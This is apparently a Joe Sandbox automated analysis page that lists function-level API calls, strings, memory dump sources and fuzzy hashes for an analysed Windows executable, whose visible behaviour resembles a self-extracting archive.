DialogBoxParamA.USER32(00000061,00000000,00BB79D2,?,?), ref: 00BC5DF5
ShowWindow.USER32(?,00000001,Extracting,?,?,?,?,-00000086,000001E4), ref: 00BC5E2B

Strings

Extracting, xrefs: 00BC5E19

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: DialogParam$ShowWindow
String ID: Extracting
API String ID: 2809416057-356925411
Opcode ID: 366ff5eb92d0650c6598f4ab8c05223e7e9514636af6f067927b2d3f54b3ebd5
Instruction ID: 525228b475dff71aa662eabb4f17fe01cd644f71bad985b541541200b793b63a
Opcode Fuzzy Hash: 366ff5eb92d0650c6598f4ab8c05223e7e9514636af6f067927b2d3f54b3ebd5
Instruction Fuzzy Hash: 5C019E3128450AFBDB20AB20EC5AFADBBA1BF40710F10849AB1016B1F1DFE16D51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BC6655 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000094), ref: 00BC666E
LeaveCriticalSection.KERNEL32(?), ref: 00BC6678

Strings

Cannot open output file, xrefs: 00BC6944
Cannot delete output file, xrefs: 00BC68DB

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Cannot delete output file$Cannot open output file
API String ID: 3168844106-3995894881
Opcode ID: 4d927fe24882846a20768ef846857b59341c47a71aabf3ef32635d499f6f44c7
Instruction ID: d457571ee7e675b3b3b466e2c1decfd3bf6754286e51c18797336103fe6f3816
Opcode Fuzzy Hash: 4d927fe24882846a20768ef846857b59341c47a71aabf3ef32635d499f6f44c7
Instruction Fuzzy Hash: 9BD16671900219EBDB24EFA4C895FEDBBF4BF08314F1085AEE515AB291DB70AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7BF0 Relevance: 6.0, APIs: 4, Instructions: 40
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB45BC: SetEvent.KERNEL32(?,00BBEBD6,?,00BBDB41,71499961,?,?,Function_00029CA0,000000FF), ref: 00BB45BE

GetDlgItem.USER32(?,00000064), ref: 00BB7C13
LoadIconA.USER32(00000000), ref: 00BB7C2D
SendMessageA.USER32(?,00000080,00000001,00000000), ref: 00BB7C3D
SetTimer.USER32(?,00000003,00000064,00000000), ref: 00BB7C4B

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: EventIconItemLoadMessageSendTimer
String ID:
API String ID: 2758541657-0
Opcode ID: 9949b24176f72a055e933126e9911cfb02ecbe7527aa9bcfe78839027946de5f
Instruction ID: 54cc57136c4bea32d34255e32c96e7704763edd4870e6da9d3f77a6e01856451
Opcode Fuzzy Hash: 9949b24176f72a055e933126e9911cfb02ecbe7527aa9bcfe78839027946de5f
Instruction Fuzzy Hash: A9014831140B009FE7215B24D859BAABBE6BB44720F10461EF2A2969F0DFB2A9528B10

Uniqueness

Uniqueness Score: -1.00%

Function 00BD04B7 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(-00000086,?,00BD035B,00000000,?,-00000086), ref: 00BD0500
GetLastError.KERNEL32(?,000000A4,00BCB95B,-000000EA,?,-00000088,-0000009A,-000000CA,-000000CA), ref: 00BD050C
__dosmaperr.LIBCMT ref: 00BD0513

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 6ffaef975b29e6003ccfd2a0c81653f806ddc91e34cde55e5daf60f3918acdcb
Instruction ID: 82b3c966ad746d3019a9d7899e821e41016f48153af0e7d355227a20a5c5cf67
Opcode Fuzzy Hash: 6ffaef975b29e6003ccfd2a0c81653f806ddc91e34cde55e5daf60f3918acdcb
Instruction Fuzzy Hash: 76016972521209AFDF15AFA4EC55AAEBBE4EF40324F00409AF901A2250FB70DA40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BB23A3 Relevance: 4.5, APIs: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00BB23BE
GetLastError.KERNEL32(?,?,?,?), ref: 00BB23CB

Part of subcall function 00BB2351: SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 00BB2365
Part of subcall function 00BB2351: GetLastError.KERNEL32(?,00000000,?,00000001), ref: 00BB2372

SetLastError.KERNEL32(00000000,?,?,?,?), ref: 00BB23E2

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 54d52ad155303a754468856698bf2ed1d2665ef81f93d9968c171a1582c13f47
Instruction ID: 7ccf8615991e268a237233d9564619b493f170fd0719fd18e2176d4075f4b0db
Opcode Fuzzy Hash: 54d52ad155303a754468856698bf2ed1d2665ef81f93d9968c171a1582c13f47
Instruction Fuzzy Hash: B801DC36200108EFCB059F68EC94EEFBBF9EF48320B158166F91697350DB718D11AB64

Uniqueness

Uniqueness Score: -1.00%

Function 00BD0410 Relevance: 4.5, APIs: 3, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD20CB: GetLastError.KERNEL32(00000072,-00000086,00000001,00BD1B90,00BD27C0,-00000126,?,00BCC0D5,-00000086,00000022,00BB16C5,00000008,74DF2EE0,00BCB6C9), ref: 00BD20D0
Part of subcall function 00BD20CB: SetLastError.KERNEL32(00000000,00000005,000000FF,?,00BCC0D5,-00000086,00000022,00BB16C5,00000008,74DF2EE0,00BCB6C9), ref: 00BD216E

CloseHandle.KERNEL32(?,?,?,00BD0547,?,?,00BD03B9,00000000), ref: 00BD0441
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,00BD0547,?,?,00BD03B9,00000000), ref: 00BD0457
ExitThread.KERNEL32 ref: 00BD0460

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: 0ea5eaf86951c73a7cf631829eb7ea6c54234cb5395d78d0be641d9069bd63da
Instruction ID: 17422961e8b6452f7e67d28a620f7574768ba27a4f4e1427ab625ce06816d413
Opcode Fuzzy Hash: 0ea5eaf86951c73a7cf631829eb7ea6c54234cb5395d78d0be641d9069bd63da
Instruction Fuzzy Hash: 27F03030511641ABCB312B65980CF5BBBE8EF01360F058A96BA39C33A0FB20D841CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00BC6A5F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,00000000,00000000,?), ref: 00BC6AB6

Strings

Unsupported Method, xrefs: 00BC6A8C

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FileTime
String ID: Unsupported Method
API String ID: 1425588814-3491066157
Opcode ID: d47bebba22e0a20bdf14dbb0aa3276af15720d997b46299269758e1eed13b0a8
Instruction ID: 831557613fef97fd619a914a8f40f155f52c0d4ae85645f363a66572086c4a45
Opcode Fuzzy Hash: d47bebba22e0a20bdf14dbb0aa3276af15720d997b46299269758e1eed13b0a8
Instruction Fuzzy Hash: 791128312107509FD724DB2AC858FA7B7F5FF84700B0588ADA596A7621D7B2E846CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00BC615F Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,0000000A,00000032,Extracting,?,?,?,?,-00000086,000001E4), ref: 00BC62DB

Strings

Extracting, xrefs: 00BC62A1

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CloseHandle
String ID: Extracting
API String ID: 2962429428-356925411
Opcode ID: 4200ce684b01d8413af5203f6464ae9de92a1b3f41b9c60c14d6d937d48cb1c5
Instruction ID: d63b7f41eab78c4a28a70401344b72f0ccedb20e0c7732237d705dd5e3cd41b8
Opcode Fuzzy Hash: 4200ce684b01d8413af5203f6464ae9de92a1b3f41b9c60c14d6d937d48cb1c5
Instruction Fuzzy Hash: 1C515970900259DFDB25EFA8C855FEEBBF4AF19304F5440DEE409A7242DBB09A44CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00BB3685 Relevance: 3.1, APIs: 2, Instructions: 75fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(-0000000E,?,00000000,?,00000000), ref: 00BB36BF
FindNextFileW.KERNELBASE(-0000000E,?,00000000,?,00000000), ref: 00BB36E4

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 2501d0c80630b2d7a23a331f80979134f782546106250a2a79daa65c868c76b0
Instruction ID: ea4fbb0072d4fede37d60993010d785a32178e9059916146f8036e12377aca28
Opcode Fuzzy Hash: 2501d0c80630b2d7a23a331f80979134f782546106250a2a79daa65c868c76b0
Instruction Fuzzy Hash: 0521D1B12082009BDB319B21D895EFBB7E9EF85B10F14469AD45287290EFB1EE06D781

Uniqueness

Uniqueness Score: -1.00%

Function 00BBEB3D Relevance: 3.1, APIs: 2, Instructions: 53COMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,?,?,00BBE9A8,?,?), ref: 00BBEB4B

Part of subcall function 00BB456E: GetLastError.KERNEL32(00BB45F3,?,000000A4,00BCB95B,-000000EA,?,-00000088,-0000009A,-000000CA,-000000CA), ref: 00BB456E

ResetEvent.KERNEL32(?,?,?,00BBE9A8,?,?), ref: 00BBEB6F

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: EventReset$ErrorLast
String ID:
API String ID: 4016784251-0
Opcode ID: ca247e5ca24d7ff21a46dfac626672655cbaca3cefd1404ff99e96ee05da33e1
Instruction ID: 974bc91cf7c2a16f15151b7c3c43c8df3387ae1159c132a090615a1ad9477470
Opcode Fuzzy Hash: ca247e5ca24d7ff21a46dfac626672655cbaca3cefd1404ff99e96ee05da33e1
Instruction Fuzzy Hash: D9015A30216601AFE730AAB58CD1EFBB7D8EF24354B1444EEE52781572EBE1DC44DA62

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2848 Relevance: 3.0, APIs: 2, Instructions: 41fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB30F3: GetFileAttributesA.KERNEL32(00000000), ref: 00BB310F

DeleteFileA.KERNEL32(00000000,?,?,-00000086,000001E4), ref: 00BB288A
DeleteFileW.KERNELBASE(?,?,?,-00000086,000001E4), ref: 00BB28A0

Part of subcall function 00BB2575: SetFileAttributesA.KERNEL32(00000000,00000000,?,?,-00000086,000001E4), ref: 00BB2594

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 4975771c5734a2b2cc66b5fdcb21b2ece228eaa6ebd1ef13a12db53ecf965cc8
Instruction ID: f16954750fea064181c08e9a5a8056900f11a326fee2a79580da0d5a3acc635d
Opcode Fuzzy Hash: 4975771c5734a2b2cc66b5fdcb21b2ece228eaa6ebd1ef13a12db53ecf965cc8
Instruction Fuzzy Hash: FBF0C231D10514A7DF3027749C56BFE33C59F56320F1047E6A821A71E5EFE5C8468280

Uniqueness

Uniqueness Score: -1.00%

Function 00BB227E Relevance: 3.0, APIs: 2, Instructions: 40fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB22EF: FindCloseChangeNotification.KERNELBASE(-0000002A,-0000002A,00BB228C), ref: 00BB22F9

CreateFileW.KERNELBASE(00000000,?,?,00000000,00000000,?,00000000), ref: 00BB22DC

Part of subcall function 00BB1BB2: AreFileApisANSI.KERNEL32(?,00000010,00BB2F3E,?,?,00000001), ref: 00BB1BD0

CreateFileA.KERNEL32(00000000,?,?,00000000,00000000,?,00000000), ref: 00BB22B6

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: File$Create$ApisChangeCloseFindNotification
String ID:
API String ID: 2652355470-0
Opcode ID: 277f36a49395a9a398a296f49fb52b9d9b5180e16b2a2cf3030d13096b199273
Instruction ID: 8356d390d9b5273142d0820975e474fbcf0d775492131bd9c0e8b61d609a757a
Opcode Fuzzy Hash: 277f36a49395a9a398a296f49fb52b9d9b5180e16b2a2cf3030d13096b199273
Instruction Fuzzy Hash: 6601FB3640020AFFCF216FA0DC06FDE7FA2EF18314F108596FA51661A1DBB195A5EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00BD035B Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00BE47D8,0000000C), ref: 00BD036E
ExitThread.KERNEL32 ref: 00BD0375

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: e8a8d1e0c0cc1a43f23bc779586ca4fdf21085f1be0b32a375da5a4644525a09
Instruction ID: 7a72f75a5452bbde0fe7036a1218b09ae617b4eab63e28326a61f66cdc942ad2
Opcode Fuzzy Hash: e8a8d1e0c0cc1a43f23bc779586ca4fdf21085f1be0b32a375da5a4644525a09
Instruction Fuzzy Hash: DEF08C71910241AFDB04BBB0C81AF6EBBB4EF55310F11418AF4159B362EF30A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7B3E Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,?), ref: 00BB7B59
SetWindowTextA.USER32(?,00000000), ref: 00BB7B7F

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: e9f6e79d3ce52b99b1c2d32fcb26d7469ccc14bb5820c612b269d573ffb1549c
Instruction ID: b46927aac985a366f0495caf85a3c43bfabd82babd4a2c4595b7b22a71381b44
Opcode Fuzzy Hash: e9f6e79d3ce52b99b1c2d32fcb26d7469ccc14bb5820c612b269d573ffb1549c
Instruction Fuzzy Hash: A9F09032801116EBCB11ABA0D856FEEBBF1AF04350F4144D9F2017B2A0EF755A44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2575 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,?,?,-00000086,000001E4), ref: 00BB25AB

Part of subcall function 00BB1BB2: AreFileApisANSI.KERNEL32(?,00000010,00BB2F3E,?,?,00000001), ref: 00BB1BD0

SetFileAttributesA.KERNEL32(00000000,00000000,?,?,-00000086,000001E4), ref: 00BB2594

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: File$Attributes$Apis
String ID:
API String ID: 2164219574-0
Opcode ID: 8b9124f28afc0801163203b124652f4aab3eb19c0ba868bfc750cbdeb617fb00
Instruction ID: 7ca6c59fc5714bf6333d64abdf3fe099f1a8075d079fe06f9346b62eb9ac1f56
Opcode Fuzzy Hash: 8b9124f28afc0801163203b124652f4aab3eb19c0ba868bfc750cbdeb617fb00
Instruction Fuzzy Hash: 14E09239D05121A7CF352B75AD2AEEF7BE8DF22710B1042E6EC1267261EFA0C905D6D1

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2603 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000), ref: 00BB263A

Part of subcall function 00BB1BB2: AreFileApisANSI.KERNEL32(?,00000010,00BB2F3E,?,?,00000001), ref: 00BB1BD0

CreateDirectoryA.KERNEL32(00000000,00000000,00000000), ref: 00BB2621

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CreateDirectory$ApisFile
String ID:
API String ID: 2873393970-0
Opcode ID: beed321fa8d808596a17e2ce7b9cb29c5d8044aa2e79dce5aae3a83db6de0b2c
Instruction ID: 40b36d01f14ea0443932bff76ca73c215e571309fccb79fca4615c5e66a7f57c
Opcode Fuzzy Hash: beed321fa8d808596a17e2ce7b9cb29c5d8044aa2e79dce5aae3a83db6de0b2c
Instruction Fuzzy Hash: 66E09235A00255ABCF212B74AC26FEE77E49B01744F5446D9E912BB1E0DFB4D805D780

Uniqueness

Uniqueness Score: -1.00%

Function 00BB25BE Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE(?,?,-00000086,000001E4), ref: 00BB25F1

Part of subcall function 00BB1BB2: AreFileApisANSI.KERNEL32(?,00000010,00BB2F3E,?,?,00000001), ref: 00BB1BD0

RemoveDirectoryA.KERNEL32(00000000,?,?,-00000086,000001E4), ref: 00BB25DA

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: DirectoryRemove$ApisFile
String ID:
API String ID: 3215702115-0
Opcode ID: 91df346512e07775874034638f6e0d12c5f46c049a8d016bc16b9962a779da0a
Instruction ID: ee1d3078a7a58064403bd86a67f3663806fb4b4b686e4acfcd6b602198934673
Opcode Fuzzy Hash: 91df346512e07775874034638f6e0d12c5f46c049a8d016bc16b9962a779da0a
Instruction Fuzzy Hash: A1E09235900154ABCF212B74A825ADE77D49B11744F0045D5EC11A7195EFB0C805A7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00BB30F3 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 00BB3126

Part of subcall function 00BB1BB2: AreFileApisANSI.KERNEL32(?,00000010,00BB2F3E,?,?,00000001), ref: 00BB1BD0

GetFileAttributesA.KERNEL32(00000000), ref: 00BB310F

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: File$Attributes$Apis
String ID:
API String ID: 2164219574-0
Opcode ID: fc12a5e3975c902f9b3be5d0b301a804e666ef4abb8c84c784c88a8bcec36f6a
Instruction ID: 5030a4f788c083bf9e6adfcb72734953c2133e326e4a6c334dc101d73946aafa
Opcode Fuzzy Hash: fc12a5e3975c902f9b3be5d0b301a804e666ef4abb8c84c784c88a8bcec36f6a
Instruction Fuzzy Hash: 96E01A32B00554ABCF292778AC6699DB7E49B45765F0086AAF922E32E0EF60C9458681

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7EBF Relevance: 3.0, APIs: 2, Instructions: 25timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00008001,00000003), ref: 00BB7ED7
KiUserCallbackDispatcher.NTDLL(00008001,00000000), ref: 00BB7F07

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
